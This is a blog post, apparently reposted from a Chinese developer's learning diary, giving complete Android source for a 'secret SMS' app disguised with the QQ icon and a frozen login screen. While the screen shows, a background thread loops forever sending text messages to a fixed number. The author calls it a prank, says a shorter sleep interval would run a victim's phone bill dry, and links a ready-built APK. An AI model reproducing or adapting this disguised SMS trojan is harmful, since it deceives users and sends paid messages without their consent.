安卓小程序之“偷發短信病毒”


昨天晚上,看到了一個例子,就特別感興趣迫不及待的想要親手實現它。是一個后台偷發短信的軟件,用的QQ的圖標偽裝,當用戶安裝上它並打開時會一直停留在登陸時的畫面,很有意思

然而,用戶並不知道這時軟件已經在后台偷偷的給它指定的號碼發短信了。如果在愚人節的時候用這個來愚弄小伙伴們,還挺有意思的,比如讓軟件指定給某個用戶發送:“你好,我是豬!”,后果可想而知,哈哈

如下是程序的源代碼:

MainActivity.java文件:

package com.wsqJohn.qq;

import android.os.Bundle;
import android.os.SystemClock;
import android.app.Activity;
import android.telephony.SmsManager;
import android.view.Menu;
import android.view.Window;

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        //去除標題必須在setContentView 方法前調用
        requestWindowFeature(Window.FEATURE_NO_TITLE);//取出標題
        
        setContentView(R.layout.activity_main);
        
        //開啟一個子線程.while(true)循環發短信
        
        new Thread(new Runnable() {
			
			@Override
			public void run() {				
				while(true){
					//循環發送短信				
					SystemClock.sleep(100000);
					SmsManager smsManager = SmsManager.getDefault();//短信管理器
					smsManager.sendTextMessage(
							"10086", //收件人的電話
							null, 
							"你好啊!!!", 
							null, //如果發送成功,回調此方法,通知我們
							null);//當對方接受成功,回調此方法
				}			
			}
		}).start();
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
    
}

  AndroidManifest.xml文件:

 1 <?xml version="1.0" encoding="utf-8"?>
 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
 3     package="com.wsqJohn.qq"
 4     android:versionCode="1"
 5     android:versionName="1.0" >
 6 
 7     <uses-sdk
 8         android:minSdkVersion="8"
 9         android:targetSdkVersion="18" />
10     <!-- 添加發送短信的權限 -->
11     <uses-permission android:name="android.permission.SEND_SMS"/>
12 
13     <application
14         android:allowBackup="true"
15         android:icon="@drawable/ic_launcher"
16         android:label="@string/app_name"
17         android:theme="@style/AppTheme" >
18         <activity
19             android:name="com.wsqJohn.qq.MainActivity"
20             android:label="@string/app_name" >
21             <intent-filter>
22                 <action android:name="android.intent.action.MAIN" />
23 
24                 <category android:name="android.intent.category.LAUNCHER" />
25             </intent-filter>
26         </activity>
27     </application>
28 
29 </manifest>

activity_main.xml布局文件:

1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2     android:layout_width="match_parent"
3     android:layout_height="match_parent"
4     android:background="@drawable/splash"
5      >
6 </RelativeLayout>

總結:這次的練習,更加熟悉了安卓開發的流程,以及各個文件間的關系,也更加熟悉了幾個快捷鍵的用法。如:ctr+1導包,alt+/自動補全代碼。還有很多快捷方式,可以讓我們在編寫代碼時非常方便快捷,相信隨着學習的進度,掌握的也會更多。

提醒:這次的學習讓我更加明白了,不能隨便下載並安裝位置來源的軟件,這樣很容易被咋騙,因為這樣的一般都有問題,比如說此次的軟件,如果在while(true)死循環中SystemClock.sleep(100000);休眠時間設置的不是100秒,而是一秒,指定的電話號碼不是10086,那么在用戶打開程序的過程中,后天每一秒種都在給指定用戶發短信,直到停機欠費,除非用戶即使發現並卸載該應用!所以安全第一!

這是此次的下載鏈接,http://files.cnblogs.com/files/wsqJohn/QQ.apk指定為發給10086的

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM